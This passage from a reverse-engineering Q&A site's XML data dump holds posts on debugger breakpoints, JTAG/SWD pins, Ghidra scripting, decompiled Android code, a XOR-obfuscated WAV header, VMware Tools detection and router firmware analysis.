&lt;code&gt;analysis flags&lt;/code&gt; (check &lt;code&gt;e~anal&lt;/code&gt;) or why for some other reason &lt;code&gt;r2&lt;/code&gt; doesn't recognize correctly some elements in this lib.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-06-16T13:01:21.827" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25312" PostTypeId="1" CreationDate="2020-06-16T15:12:42.237" Score="3" ViewCount="1204" Body="&lt;p&gt;I'm reversing an anti VMware mechanism which detects &lt;code&gt;VGAuthService.exe&lt;/code&gt; and &lt;code&gt;vmtoolsd.exe&lt;/code&gt; as well as a few registries that I've taken care of and some drivers from &lt;code&gt;C:\Windows\System32\drivers\vm...&lt;/code&gt;. I deleted &lt;code&gt;C:\Program Files\VMware&lt;/code&gt; folder and those drivers, killed &lt;code&gt;VGAuthService.exe&lt;/code&gt;, &lt;code&gt;vmtoolsd.exe&lt;/code&gt; and &lt;code&gt;vm3dservice.exe&lt;/code&gt; processes but it's still detected, which means I'm missing something. However, when I uninstall VMware Tools, even without rebooting the machine, it's undetected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a tool/or way to find which files VMware Tools installation drops on disk, what it modifies, etc.? I remember there was a tool &quot;Orca&quot; which was useful for .MSI files, but it's not in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My VM:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VMware® Workstation 15 Pro&#xA;15.5.5 build-16285975&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29838" LastActivityDate="2021-04-17T05:09:19.863" Title="VMware Tools list of all installed files with it" Tags="|vmware|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25313" PostTypeId="2" ParentId="25312" CreationDate="2020-06-16T15:22:28.483" Score="1" Body="&lt;p&gt;Possibly it's checking for the drivers (e.g. network card, mouse, or display), or for a registered service (even if it's not running). Check the devices and services list before and after uninstalling.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-16T15:22:28.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25315" PostTypeId="1" AcceptedAnswerId="25318" CreationDate="2020-06-16T17:31:47.757" Score="1" ViewCount="92" Body="&lt;p&gt;I'm very much on the software side of things so I'm super inexperienced with debugging hardware. A custom processor I'm working with gives 2 debug pins, and given that it's an ARM system I suspect it to be 2-wire SWD. Looking at some tools I found online, specifically J-Link, it looks like I need to not only connect the two debug pins, but also a ground pin. However, I'm not given a third pin and I don't have a pinout of the processor due to it being a custom build. Is there a way to find a ground on the processor?&lt;/p&gt;&#xA;" OwnerUserId="33565" LastEditorUserId="24222" LastEditDate="2020-06-17T00:24:54.960" LastActivityDate="2020-06-17T00:24:54.960" Title="I have a two pin debug interface, confused on how to use it" Tags="|arm|hardware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25316" PostTypeId="2" ParentId="25215" CreationDate="2020-06-16T18:28:59.580" Score="2" Body="&lt;p&gt;Yes, you can do that. Once you set the hardware breakpoint you can go to &lt;code&gt;Breakpoints&lt;/code&gt; tab, right click the breakpoint on which you want to set condition, and select &lt;code&gt;Edit&lt;/code&gt;. Now you can set the break condition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say your value is written to the memory in such way &lt;code&gt;mov dword ptr ds:[edx],eax&lt;/code&gt;, so you can set the &lt;code&gt;Break condition&lt;/code&gt; to &lt;code&gt;EAX==2F&lt;/code&gt;, and then the program will be interrupted only when the value to write is equal to 2F.&lt;/p&gt;&#xA;" OwnerUserId="21109" LastActivityDate="2020-06-16T18:28:59.580" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25317" PostTypeId="2" ParentId="25289" CreationDate="2020-06-16T20:03:14.483" Score="2" Body="&lt;p&gt;ActiveX controls (.ocx) are actually simple DLLs conforming to the COM standard. In practice, it means that it exports standard COM entry points such  as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; DllRegisterServer&#xA; DllUnregisterServer&#xA; DllCanUnloadNow&#xA; DllGetClassObject&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The most important for us is &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllgetclassobject&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;DllGetClassObject&lt;/code&gt;&lt;/a&gt; as this is the one called by the host process to create the ActiveX control(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see where the code is located, you need to find the file implementing it. in IE, it can be done from &quot;Manage Add-Ons&quot; dialog. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For example, here are the details for the Flash control:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Name:                   Shockwave Flash Object&#xA;Publisher:              Microsoft Windows Third Party Application Component&#xA;Type:                   ActiveX Control&#xA;Architecture:           32-bit and 64-bit&#xA;Version:                32.0.0.387&#xA;File date:              ‎3 ‎June, ‎2020, ‏‎03:53&#xA;Date last accessed:     ‎16 ‎June, ‎2020, ‏‎21:19&#xA;Class ID:               {D27CDB6E-AE6D-11CF-96B8-444553540000}&#xA;Use count:              52850&#xA;Block count:            18&#xA;File:                   Flash.ocx&#xA;Folder:                 C:\Windows\System32\Macromed\Flash&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, we need to analyze &lt;code&gt;Flash.ocx&lt;/code&gt; (in &lt;code&gt;C:\Windows\System32\Macromed\Flash&lt;/code&gt; for 64-bit or &lt;code&gt;C:\Windows\SysWow64\Macromed\Flash&lt;/code&gt; for 32-bit IE).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To debug, set the full path to the file in Debugger-Process Options-Input File, set breakpoint on &lt;code&gt;DllGetClassObject&lt;/code&gt; then attach to the IE process. Once a page with a Flash control is loaded the breakpoint should trigger.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-16T20:03:14.483" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25318" PostTypeId="2" ParentId="25315" CreationDate="2020-06-16T20:14:22.187" Score="2" Body="&lt;p&gt;Usually  all the grounds on the PCB are connected together, so look for something like a metal shield, USB connector housing, or any other element that should be connected to ground (e.g. a capacitor). There may also be big copper areas used for the ground plane.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-16T20:14:22.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25320" PostTypeId="1" CreationDate="2020-06-17T00:05:20.020" Score="1" ViewCount="180" Body="&lt;p&gt;I'm trying to find the JTAG header for an Intel X Scale (ArmV5) PXA270 board. I found and populated a 20-pin header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mfRh0.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mfRh0.jpg&quot; alt=&quot;ARM JTAG 20-pin header&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but JTAGulator doesn't think it has a valid combination of TDI/TDO/TMS/TCK on either a IDCode or bypass scan. I put a logic analyzer on it and don't really see a steady clock:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HIEoZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HIEoZ.png&quot; alt=&quot;logic analyzer 20-pin jtag&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible the clock is elsewhere and some of the header pins are still TDI/TDO etc., or do any of the logic analyzer data seem they could be from JTAG?&lt;/p&gt;&#xA;" OwnerUserId="33511" LastActivityDate="2020-06-17T00:05:20.020" Title="ARM 20-pin JTAG header?" Tags="|arm|jtag|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25321" PostTypeId="1" CreationDate="2020-06-17T07:16:32.857" Score="-2" ViewCount="239" Body="&lt;p&gt;is it possible to reverse engineer an apk just to unlock hidden/unreleased features?&lt;/p&gt;&#xA;" OwnerUserId="31398" LastEditorUserId="31398" LastEditDate="2020-06-26T10:52:14.367" LastActivityDate="2020-06-26T10:52:14.367" Title="How to reverse engineer apks?" Tags="|decompilation|android|malware|patch-reversing|apk|" AnswerCount="1" CommentCount="2" ClosedDate="2020-06-22T13:40:18.500" ContentLicense="CC BY-SA 4.0" />
  <row Id="25322" PostTypeId="1" AcceptedAnswerId="25336" CreationDate="2020-06-17T11:23:54.113" Score="3" ViewCount="346" Body="&lt;p&gt;I have written a script which extracts all the assembly code from a PE using this code in ghidra&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;instructionList = []&#xA;for instr in currentProgram.getListing().getInstructions(True):&#xA;    instructionList.append(instr)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but the issue is that, is changes all the .DLL calls in the assembly code.&#xA;For example, if the listing window shows&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CALL        dword ptr [-&amp;gt;MSVCRT.DLL::signal] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The output I get is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CALL dword ptr [EBP + -0x14]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is there a way to get the assembly code exactly as it is in the listing window&lt;/p&gt;&#xA;" OwnerUserId="33506" LastEditorUserId="33506" LastEditDate="2020-06-17T11:41:40.023" LastActivityDate="2020-06-18T17:57:50.827" Title="Extracting Info from Ghidra Listing Window" Tags="|disassembly|ghidra|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25323" PostTypeId="2" ParentId="25321" CreationDate="2020-06-17T11:57:59.660" Score="1" Body="&lt;p&gt;Try to learn the structure of the apk, learn &lt;a href=&quot;https://source.android.com/devices/tech/dalvik/dalvik-bytecode&quot; rel=&quot;nofollow noreferrer&quot;&gt;SMALI&lt;/a&gt;, understand how the apk works, after understanding what your calls are like and learning smali, it is essential to be able to make calls from resources, but stay tuned for apk protections , even considering a somewhat rare factor, there are also several online tools to assist in this factor, with a simple search for smali studio you will find, good luck;&lt;/p&gt;&#xA;" OwnerUserId="33530" LastActivityDate="2020-06-17T11:57:59.660" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25325" PostTypeId="1" CreationDate="2020-06-17T14:12:42.437" Score="-1" ViewCount="149" Body="&lt;p&gt;I wanted to analyse the code for some functionality.&#xA;in my understanding the code contains a logic handling intents with extras. I want to know how these Works! and also how can I pass extras using adb. Here is code snippet:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;package com.facebook.katana.activity;&#xA;public class FbMainTabActivity extends com.facebook.base.activity.FbFragmentActivity implements X.11j, X.11g, X.11k, X.11n, X.11r, X.11p, X.11o, X.11q, X.11s, X.19d, X.11t, X.0B2, X.2IH, X.11u, X.11v, X.11x, X.12k, X.2II, X.12l, X.1z9, X.12v, X.12w {&#xA;    public static X.12x A09;&#xA;    public static final com.google.common.collect.ImmutableList A0A;&#xA;    public com.facebook.common.util.TriState A00;&#xA;    public boolean A01;&#xA;    public android.view.View A02;&#xA;    public X.0lw A03;&#xA;    public X.12x A04;&#xA;    public X.3tw A05;&#xA;    public Object A06;&#xA;    public boolean A07;&#xA;    public final long A08;&#xA;&#xA;    public static FbMainTabActivity()&#xA;    {&#xA;        com.facebook.katana.activity.FbMainTabActivity.A0A = com.google.common.collect.ImmutableList.of(&amp;quot;chromeless:content:fragment:tag&amp;quot;, &amp;quot;PhotoAnimationDialogFragment_MEDIA_GALLERY&amp;quot;, &amp;quot;PhotoAnimationDialogFragment_PHOTOS_FEED&amp;quot;);&#xA;        return;&#xA;    }&#xA;&#xA;    public FbMainTabActivity()&#xA;    {&#xA;        this.A00 = com.facebook.common.util.TriState.UNSET;&#xA;        this.A08 = android.os.SystemClock.uptimeMillis();&#xA;        this.A05 = 0;&#xA;        this.A02();&#xA;        return;&#xA;    }&#xA;&#xA;    private final android.view.ViewGroup A00()&#xA;    {&#xA;        return ((X.2Pt) X.0km.A04(10, 9992, this.A03)).A04();&#xA;    }&#xA;&#xA;    private final com.facebook.feed.fragment.NewsFeedFragment A01()&#xA;    {&#xA;        com.facebook.feed.fragment.NewsFeedFragment v0_0 = 0;&#xA;        if (this.BjY()) {&#xA;            X.2Ur v1_1 = this.A1C();&#xA;            if (v1_1 != null) {&#xA;                v0_0 = ((com.facebook.feed.fragment.NewsFeedFragment) v1_1.A2D());&#xA;            }&#xA;        }&#xA;        return v0_0;&#xA;    }&#xA;&#xA;    private void A02()&#xA;    {&#xA;        String v0_0 = com.facebook.katana.activity.FbMainTabActivity.A09;&#xA;        if ((v0_0 == null) || (v0_0.get() == null)) {&#xA;            com.facebook.katana.activity.FbMainTabActivity.A09 = new X.12x(this);&#xA;            return;&#xA;        } else {&#xA;            if ((((com.facebook.katana.activity.FbMainTabActivity) com.facebook.katana.activity.FbMainTabActivity.A09.get()).A04 != null) &amp;amp;&amp;amp; (((com.facebook.katana.activity.FbMainTabActivity) com.facebook.katana.activity.FbMainTabActivity.A09.get()).A04.get() == null)) {&#xA;                X.00N.A0F(&amp;quot;FbMainTabActivity&amp;quot;, &amp;quot;FbMainTabActivity might have leaked!&amp;quot;);&#xA;            }&#xA;            return;&#xA;        }&#xA;    }&#xA;&#xA;    private final void A03()&#xA;    {&#xA;        ((X.2Pt) X.0km.A04(10, 9992, this.A03)).A0C();&#xA;        return;&#xA;    }&#xA;&#xA;    public static final void A04(android.content.Context p0, com.facebook.katana.activity.FbMainTabActivity p1)&#xA;    {&#xA;        com.facebook.katana.activity.FbMainTabActivity.A0A(X.0km.get(p0), p1);&#xA;        return;&#xA;    }&#xA;&#xA;    private void A05(android.content.Intent p10)&#xA;    {&#xA;        X.08P.A02(&amp;quot;FbMainTabActivity.handleNewIntent&amp;quot;, 548977818);&#xA;        try {&#xA;            boolean v0_9;&#xA;            if (!((X.2Tl) X.0km.A04(27, 10032, this.A03)).A00(this, p10)) {&#xA;                android.content.Intent v3 = ((X.1Q5) X.0km.A05(9134, this.A03)).A02(p10);&#xA;                if ((v3.getBooleanExtra(&amp;quot;refresh_feed&amp;quot;, 0)) &amp;amp;&amp;amp; (this.BjY())) {&#xA;                    this.A01().A2M(X.16v.A06);&#xA;                }&#xA;                String v8 = v3.getStringExtra(&amp;quot;rum_destination_uri&amp;quot;);&#xA;                boolean v7 = v3.getBooleanExtra(&amp;quot;should_show_rum_player&amp;quot;, 0);&#xA;                boolean vtmp9 = v3.getBooleanExtra(&amp;quot;should_hide_rum_player&amp;quot;, 0);&#xA;                if ((v8 == null) || (!v7)) {&#xA;                    if (vtmp9) {&#xA;                        ((X.1lF) X.0km.A04(23, 9433, this.A03)).A02(0);&#xA;                    }&#xA;                } else {&#xA;                    boolean v0_28 = ((X.1lF) X.0km.A04(23, 9433, this.A03));&#xA;                    v0_28.A02(v7);&#xA;                    v0_28.A01(v8);&#xA;                }&#xA;                if (!com.facebook.katana.activity.FbMainTabActivity.A0M(v3)) {&#xA;                    if (((v3.getBooleanExtra(&amp;quot;force_reset_to_feed_from_certain_tabs&amp;quot;, 0)) &amp;amp;&amp;amp; (((X.2Pt) X.0km.A04(10, 9992, this.A03)).A0N())) || (v3.getBooleanExtra(&amp;quot;force_reset_to_feed&amp;quot;, 0))) {&#xA;                        this.Czs();&#xA;                    }&#xA;                    if (v3.getBooleanExtra(&amp;quot;jump_to_top&amp;quot;, 0)) {&#xA;                        this.A1K();&#xA;                    }&#xA;                    if ((this.A0L(v3)) || (v3.hasExtra(&amp;quot;target_tab_id&amp;quot;))) {&#xA;                        if (v3.hasExtra(&amp;quot;from_deeplink_to_watch&amp;quot;)) {&#xA;                            if (v3.hasExtra(&amp;quot;is_warion_state&amp;quot;)) {&#xA;                                ((X.3tx) X.0km.A04(5, 16982, this.A03)).A02(v3.getBooleanExtra(&amp;quot;is_warion_state&amp;quot;, 0));&#xA;                            }&#xA;                            if (v3.hasExtra(&amp;quot;is_warion_dark_mode&amp;quot;)) {&#xA;                                ((X.3tx) X.0km.A04(5, 16982, this.A03)).A01(v3.getBooleanExtra(&amp;quot;is_warion_dark_mode&amp;quot;, 0));&#xA;                            }&#xA;                        }&#xA;                        this.A09(v3);&#xA;                    }&#xA;                    if (v3.hasExtra(&amp;quot;pass_deeplink_intent_to_tab&amp;quot;)) {&#xA;                        this.A07(v3);&#xA;                    }&#xA;                    this.A06(v3);&#xA;                    v0_9 = 734594812;&#xA;                } else {&#xA;                    this.A08(v3);&#xA;                    v0_9 = -1612877982;&#xA;                }&#xA;            } else {&#xA;                v0_9 = -1639492758;&#xA;            }&#xA;        } catch (X.3tx v1_6) {&#xA;            X.08P.A01(744680193);&#xA;            throw v1_6;&#xA;        }&#xA;        X.08P.A01(v0_9);&#xA;        return;&#xA;    }&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This method in the code snippet it gets an intent type parameter and does some work:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;private void A05(android.content.Intent p10) &#xA;{&#xA;        X.08P.A02(&amp;quot;FbMainTabActivity.handleNewIntent&amp;quot;, 548977818);&#xA;        try {&#xA;            boolean v0_9;&#xA;            if (!((X.2Tl) X.0km.A04(27, 10032, this.A03)).A00(this, p10)) {&#xA;                android.content.Intent v3 = ((X.1Q5) X.0km.A05(9134, this.A03)).A02(p10);&#xA;                if ((v3.getBooleanExtra(&amp;quot;refresh_feed&amp;quot;, 0)) &amp;amp;&amp;amp; (this.BjY())) {&#xA;                    this.A01().A2M(X.16v.A06);&#xA;                }&#xA;                String v8 = v3.getStringExtra(&amp;quot;rum_destination_uri&amp;quot;);&#xA;                boolean v7 = v3.getBooleanExtra(&amp;quot;should_show_rum_player&amp;quot;, 0);&#xA;                boolean vtmp9 = v3.getBooleanExtra(&amp;quot;should_hide_rum_player&amp;quot;, 0);&#xA;                if ((v8 == null) || (!v7)) {&#xA;                    if (vtmp9) {&#xA;                        ((X.1lF) X.0km.A04(23, 9433, this.A03)).A02(0);&#xA;                    }&#xA;                } else {&#xA;                    boolean v0_28 = ((X.1lF) X.0km.A04(23, 9433, this.A03));&#xA;                    v0_28.A02(v7);&#xA;                    v0_28.A01(v8);&#xA;                }&#xA;                if (!com.facebook.katana.activity.FbMainTabActivity.A0M(v3)) {&#xA;                    if (((v3.getBooleanExtra(&amp;quot;force_reset_to_feed_from_certain_tabs&amp;quot;, 0)) &amp;amp;&amp;amp; (((X.2Pt) X.0km.A04(10, 9992, this.A03)).A0N())) || (v3.getBooleanExtra(&amp;quot;force_reset_to_feed&amp;quot;, 0))) {&#xA;                        this.Czs();&#xA;                    }&#xA;                    if (v3.getBooleanExtra(&amp;quot;jump_to_top&amp;quot;, 0)) {&#xA;                        this.A1K();&#xA;                    }&#xA;                    if ((this.A0L(v3)) || (v3.hasExtra(&amp;quot;target_tab_id&amp;quot;))) {&#xA;                        if (v3.hasExtra(&amp;quot;from_deeplink_to_watch&amp;quot;)) {&#xA;                            if (v3.hasExtra(&amp;quot;is_warion_state&amp;quot;)) {&#xA;                                ((X.3tx) X.0km.A04(5, 16982, this.A03)).A02(v3.getBooleanExtra(&amp;quot;is_warion_state&amp;quot;, 0));&#xA;                            }&#xA;                            if (v3.hasExtra(&amp;quot;is_warion_dark_mode&amp;quot;)) {&#xA;                                ((X.3tx) X.0km.A04(5, 16982, this.A03)).A01(v3.getBooleanExtra(&amp;quot;is_warion_dark_mode&amp;quot;, 0));&#xA;                            }&#xA;                        }&#xA;                        this.A09(v3);&#xA;                    }&#xA;                    if (v3.hasExtra(&amp;quot;pass_deeplink_intent_to_tab&amp;quot;)) {&#xA;                        this.A07(v3);&#xA;                    }&#xA;                    this.A06(v3);&#xA;                    v0_9 = 734594812;&#xA;                } else {&#xA;                    this.A08(v3);&#xA;                    v0_9 = -1612877982;&#xA;                }&#xA;            } else {&#xA;                v0_9 = -1639492758;&#xA;            }&#xA;        } catch (X.3tx v1_6) {&#xA;            X.08P.A01(744680193);&#xA;            throw v1_6;&#xA;        }&#xA;        X.08P.A01(v0_9);&#xA;        return;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Apparently, these codes are heavily obfuscated, how can I &lt;strong&gt;deobfuscate&lt;/strong&gt; it?&lt;/p&gt;&#xA;" OwnerUserId="31398" LastEditorUserId="31398" LastEditDate="2020-06-26T11:01:20.633" LastActivityDate="2020-06-26T11:01:20.633" Title="How can I analyze this code?" Tags="|decompilation|static-analysis|anti-debugging|deobfuscation|patch-reversing|" AnswerCount="1" CommentCount="0" ClosedDate="2020-06-22T13:36:51.607" ContentLicense="CC BY-SA 4.0" />
  <row Id="25326" PostTypeId="2" ParentId="25309" CreationDate="2020-06-17T14:33:06.307" Score="0" Body="&lt;p&gt;Indeed, it seems to be incorrect. The syntax &lt;code&gt;[R0],#1&lt;/code&gt; is called  &lt;a href=&quot;http://infocenter.arm.com/help/topic/com.arm.doc.dui0552a/BABJGHFJ.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;post-indexed&lt;/em&gt;&lt;/a&gt;: first the store (or load) is performed, and &lt;em&gt;then&lt;/em&gt; the base address is incremented (or decremented) by the value specified. So the assignment and increment should be swapped.&lt;/p&gt;&#xA;&lt;p&gt;As for &lt;code&gt;00 BF&lt;/code&gt;, it is the opcode for the &lt;code&gt;NOP&lt;/code&gt; instruction, probably inserted to align next function on a 4-byte boundary.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2020-06-17T15:10:41.613" LastActivityDate="2020-06-17T15:10:41.613" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25327" PostTypeId="1" AcceptedAnswerId="25328" CreationDate="2020-06-17T14:41:24.623" Score="0" ViewCount="54" Body="&lt;p&gt;If I have breakpoint on some win function, how to whitelist some address on which I don't want stopping?&lt;/p&gt;&#xA;&lt;p&gt;Seems that it is needed to use conditions. How?&lt;/p&gt;&#xA;&lt;p&gt;I use x64dbg, but if you only know a way in another debugger - it is also interesting.&lt;/p&gt;&#xA;" OwnerUserId="33573" LastEditorUserId="33573" LastEditDate="2020-06-17T14:56:11.990" LastActivityDate="2020-06-17T14:57:41.183" Title="How to whitelist an address for breakpoint?" Tags="|x64dbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25328" PostTypeId="2" ParentId="25327" CreationDate="2020-06-17T14:57:41.183" Score="1" Body="&lt;p&gt;Yes you can do that. If you don't know how to set conditional breakpoints take a look &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/25215/x64dbg-breakpoint-on-write-in-memory-with-specific-value&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The condition you need to set depends if you are debugging 32 (EIP register) or 64 (RIP register) bit program.&#xA;So for example let's say you don't want to stop at address 0xDEADBEEF for 32 bit program, you can set the break condition to &lt;code&gt;EIP != DEADBEEF&lt;/code&gt;. You can add multiple addresses like this: &lt;code&gt;EIP != addy1 &amp;amp;&amp;amp; EIP != addy2&lt;/code&gt; and so on.&lt;/p&gt;&#xA;" OwnerUserId="21109" LastActivityDate="2020-06-17T14:57:41.183" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25329" PostTypeId="1" CreationDate="2020-06-17T17:52:46.557" Score="1" ViewCount="136" Body="&lt;p&gt;How to make these columns empty or make a new breakpoint where they are empty? I just need &lt;strong&gt;a stop at these win commands&lt;/strong&gt; (in the summary column), not at a specific address.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jbocO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jbocO.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&#xA;I don't know what exactly should be in these columns and that is why I need them empty.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;So I need to set a breakpoint for a command without an address.&lt;/strong&gt; Maybe other debuggers can do this.&lt;/p&gt;&#xA;&lt;p&gt;UPDATE:&lt;br /&gt;&#xA;&lt;strong&gt;I am looking for this functionality in x64dbg:&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YftBY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YftBY.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;So there are no addresses. Does it support this?&lt;/p&gt;&#xA;" OwnerUserId="33573" LastEditorUserId="33573" LastEditDate="2020-06-17T18:31:21.027" LastActivityDate="2020-06-17T18:31:21.027" Title="Set a breakpoint for a win command without an address" Tags="|x64dbg|" AnswerCount="0" CommentCount="15" ContentLicense="CC BY-SA 4.0" />
  <row Id="25330" PostTypeId="1" CreationDate="2020-06-17T18:54:15.673" Score="2" ViewCount="195" Body="&lt;p&gt;I have this file here, that is supposed to be a wave audio file, but seems to have some obfuscation applied to it. The file header is here: &lt;a href=&quot;https://pastebin.com/LD5aA1EG&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/LD5aA1EG&lt;/a&gt;    Any suggestions where else it would be appropriate to ask?&lt;/p&gt;&#xA;" OwnerUserId="33575" LastActivityDate="2020-10-06T11:00:33.963" Title="Wave File obfuscation" Tags="|file-format|obfuscation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25331" PostTypeId="2" ParentId="25330" CreationDate="2020-06-17T19:18:15.153" Score="1" Body="&lt;p&gt;It looks like the file is xored by key &lt;code&gt;0xA7 0x23&lt;/code&gt;. After xoring the very first bytes, the header looks like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;52 49 46 46 0C E1 16 13 57 41 56 45 66 6D 74 20  RIFF.á..WAVEfmt&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;So mostly like correct wave header.&lt;/p&gt;&#xA;" OwnerUserId="21109" LastActivityDate="2020-06-17T19:18:15.153" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25332" PostTypeId="1" CreationDate="2020-06-17T23:00:34.787" Score="0" ViewCount="609" Body="&lt;p&gt;I am currently practicing reverse engineering to look for the default password of the Linksys V1.5 firmware here &lt;a href=&quot;https://www.linksys.com/us/support-article?articleNum=148613&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.linksys.com/us/support-article?articleNum=148613&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I tried to use binwalk to get more information from the file but do not know where to go from here.  Almost no useful information from what I have seen from hexdump and strings command.  Is there any other recommended tools to use or strategies?&lt;/p&gt;&#xA;" OwnerUserId="33577" LastActivityDate="2020-06-17T23:00:34.787" Title="Practicing Reverse Engineering To Find Default Password From Router Firmware" Tags="|firmware|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="25334" PostTypeId="1" CreationDate="2020-06-18T04:10:56.823" Score="1" ViewCount="210" Body="&lt;p&gt;I'm reversing some stuff that has RTTI, so finding vftables is easy.&lt;/p&gt;&#xA;&lt;p&gt;I have an instance of some class &lt;code&gt;some_object&lt;/code&gt;, there is a method being called through its &lt;code&gt;__vftable&lt;/code&gt;. The &lt;code&gt;method_4&lt;/code&gt; has a type of &lt;code&gt;data_struct *(__thiscall *method_4)(void *not_sure, data_struct *data_struct, int a3)&lt;/code&gt;. It looks like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n7zDr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n7zDr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to actually click on &lt;code&gt;method_4&lt;/code&gt; here and go to the pointer in the vftable/the underlaying &lt;code&gt;sub_&amp;lt;something&amp;gt;&lt;/code&gt;? I seem to be stuck just having to go back to the vftable manually when I want to see what that function does.&lt;/p&gt;&#xA;&lt;p&gt;It feels like I need to somehow link the instance of &lt;code&gt;some_object&lt;/code&gt; or rather its &lt;code&gt;_vftable&lt;/code&gt; to the actual vftable memory location but not sure if that's a thing? Do I want too much? :)&lt;/p&gt;&#xA;" OwnerUserId="21805" LastActivityDate="2020-06-18T18:34:00.233" Title="Click-thru a virtual function in IDA" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
